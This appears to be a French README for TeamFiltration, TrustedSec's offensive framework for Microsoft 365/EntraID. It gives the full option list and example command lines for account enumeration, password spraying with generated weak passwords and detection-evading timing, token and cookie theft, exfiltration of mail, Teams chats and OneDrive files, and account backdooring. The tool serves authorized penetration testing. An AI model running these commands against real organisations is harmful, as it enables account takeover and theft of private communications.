
Framework multiplateforme pour l'énumération de comptes O365, la pulvérisation de mots de passe, l'exfiltration de données d'e-mails/Teams/OneDrive, et l'installation de backdoor dans les comptes EntraID via la manipulation de jetons.
TeamFiltration est un framework multiplateforme pour l'énumération, le spraying, l'exfiltration et la pose de backdoor sur les comptes O365 EntraID. Consultez la page wiki TeamFiltration pour une introduction sur le fonctionnement de TeamFiltration et le Guide de démarrage rapide pour savoir comment l'installer et l'utiliser !
Cet outil est utilisé en interne chez TrustedSec depuis janvier 2021 et a été rendu public lors de ma conférence Taking a Dump In The Cloud au DefCON30.
Vous pouvez télécharger la dernière version précompilée pour Linux, Windows et MacOS.
Les versions sont précompilées en un seul binaire dépendant de l'application. La taille augmente, mais vous n'avez besoin ni de .NET ni d'autres dépendances pour les exécuter.
La fonctionnalité AWS Fireprox a été retirée des modules de spray et d'énumération. À la place, l'outil peut router tout le trafic via le proxy défini dans votre fichier de configuration. Le proxy est automatiquement utilisé pour le spraying et l'énumération. Si vous souhaitez utiliser le proxy pour l'exfiltration, vous devez activer le flag --debug.
╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╗
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╠╬╬╝╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ │ ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ ││ ╚╬╬╝╚ └╚╝╬╬╬╬╬╬
╬╬╬╬╣ ╔╦╦╬╬╬╬╬╬╦╦╗ ││ │ ╬╬╬╬╬
╬╬╬╬╣ ╔╬╬╬╝╝┘ ╚╝╝╬╬╬┐ ││ ││ └╬╬╬╬
╬╬╬╬┤ ╬╬╝╚╩╬╗╔ ╚╬╬╬ ││ ││ ╬╬╬╬
╬╬╬╬┤ ╬╝ ╚╬╬╗╗ ╔ ╚╬╗ ││ ├││ ╬╬╬╬
╬╬╬╬┤ ╬╬ ╔╗ ╚╬╬╬╬╬╬╦ ╬╬ │┌ ╔╬┤││ ╔╬╬╬╬
╬╬╬╬┤ ╔╬┤ ╬╬╬ ╬╬╬╬╬╬╬╬╝╝╝╬╬╗ ╠╬╬╬╬╬╬╬╬╬╗ ┌╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╚╩┘ ╚╬╬╬╬╬╩ ╠╬╬ ╚╝╝╝╝╝╝╝╝╝╬╬╗╗╗╦╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╠╬╬ ││ ╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬ ╦╗ ╗╗ ╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬┐ ╚╬╗╗ ╔╬╬╝ ╔╬┘ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬╗ ╚╩╩╬╬╬╩╩╝╝ ╔╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╬╬╬╗ ┌╗╬╬╝┘ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╩╬╬╬╦╦╦╦╦╦╬╬╬╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╚╝╝╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ││ │ ╔╗╬╬╬╬╬
╬╬╬╬┤ ││ ╬╦╦╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ││ ╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬╬╗╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
└╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╝
╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝
[❤] TeamFiltration V3.5.5 PUBLIQUE, créé par @Flangvik chez @TrustedSec
[+] Arguments analysés
Utilisation :
--outpath Chemin de sortie pour stocker la base de données et les informations exfiltrées (nécessaire pour tous les modules)
--config Chemin local vers votre fichier de configuration TeamFiltration.json, si non fourni, sera chargé depuis le chemin actuel
--exfil Charger le module d'exfiltration
--username Surcharge pour cibler un nom d'utilisateur donné qui n'existe pas dans la base de données
--password Surcharge pour cibler un mot de passe donné qui n'existe pas dans la base de données
--tokens Surcharge pour cibler un (fichier avec des jetons JWT séparés par des retours à la ligne|un seul JWT|des jetons JWT séparés par ,) et effectuer l'exfiltration
--cookie-dump Surcharge pour cibler un compte donné en utilisant sa collection de cookies de rafraîchissement
--all Exfiltrer les informations de TOUTES les ressources SSO (Graph, OWA, SharePoint, OneDrive, Teams)
--aad Exfiltrer les informations de l'API Graph (utilisateurs et groupes du domaine)
--teams Exfiltrer les informations de l'API Teams (fichiers, historiques de chat, pièces jointes, liste de contacts)
--teams-db Exfiltrer les cookies et les jetons d'authentification d'une base de données Teams exfiltrée
--onedrive Exfiltrer les informations de l'API OneDrive/SharePoint (fichiers SharePoint accessibles et tout le répertoire OneDrive de l'utilisateur)
--owa Exfiltrer les informations de l'API REST Outlook (les 2000 derniers e-mails, envoyés et reçus)
--owa-limit Définir le nombre maximum d'e-mails à exfiltrer, par défaut 2000.
--jwt-tokens Vider tous les jetons JWT au format JSON collectés pour les ressources SSO (MsGraph,AdGraph, Outlook, SharePoint, OneDrive, Teams)
--spray Charger le module de spraying
--aad-sso Utiliser la technique de SecureWorks pour le brute-force de mots de passe Azure Active Directory lors du spraying
--us-cloud Lors du spraying de sociétés rattachées aux tenants américains (https://login.microsoftonline.us/)
--passwords Chemin vers une liste de mots de passe, des mots de passe faibles courants seront générés si non fournis
--exclude Chemin vers une liste d'e-mails à exclure du spraying
--seasons-only Les mots de passe générés pour le spraying seront basés uniquement sur les saisons
--months-only Les mots de passe générés pour le spraying seront basés uniquement sur les mois
--common-only Effectuer un spraying avec les 20 mots de passe les plus courants
--shuffle-passwords Mélanger la liste de mots de passe avant le spraying
--shuffle-users Mélanger la liste d'utilisateurs cible avant le spraying
--shuffle-regions Mélanger les régions FireProx lors du spraying
--auto-exfil Si une connexion valide est trouvée, démarrer automatiquement le module d'exfiltration
--sleep-min Nombre minimum de minutes à attendre entre chaque rotation complète de spraying, par défaut=60
--sleep-max Nombre maximum de minutes à attendre entre chaque rotation complète de spraying, par défaut=100
--jitter Secondes entre chaque tentative d'authentification individuelle, par défaut=0
--time-window Définit une fenêtre de temps pendant laquelle le spraying doit avoir lieu, au format d'heure militaire <12:00-19:00>
--push Recevoir des notifications Pushover lorsque des identifiants valides sont trouvés (nécessite les clés pushover dans la configuration)
--push-locked Recevoir des notifications Pushover lorsqu'un compte sprayé est verrouillé (nécessite les clés pushover dans la configuration)
--force Forcer le spraying à continuer même s'il reste moins de <sleep> temps depuis la dernière tentative
--enum Charger le module d'énumération
--domain Domaine à utiliser pour l'énumération, les noms sont extraits de statistiquement-likely-usernames si non fournis avec --usernames
--usernames Chemin vers une liste de noms d'utilisateur à énumérer (e-mails)
--dehashed Utiliser le sous-module dehashed pour énumérer les e-mails à partir d'un domaine de base
--validate-msol Valider que les comptes o365 donnés existent en utilisant la méthode publique GetCredentialType (Très limité en débit - Lent 20 e/s)
--validate-teams Valider que les comptes o365 donnés existent en utilisant la méthode API Teams (Recommandé - Très rapide 300 e/s)
--validate-login Valider que les comptes o365 donnés en essayant de se connecter (Bruyant - déclenche des connexions - Rapide 100 e/s)
--validate-onedrive Valider que les comptes o365 donnés en utilisant la méthode OneDrive de @nyxgeek (Recommandé - Rapide 300 e/s)
--backdoor Charger le module de backdoor interactif
--database Charger le module de navigation interactif dans la base de données
--debug Proxyer toutes les requêtes HTTP sortantes via le proxy spécifié dans la configuration
Exemples :
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push --shuffle-users --shuffle-regions
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\FooBar\Exclude_Emails.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --tokens C:\\OutputTokens.txt --onedrive --owa
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-onedrive --domain example.com
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\FooBar\OSINT\Usernames.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --backdoor
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --database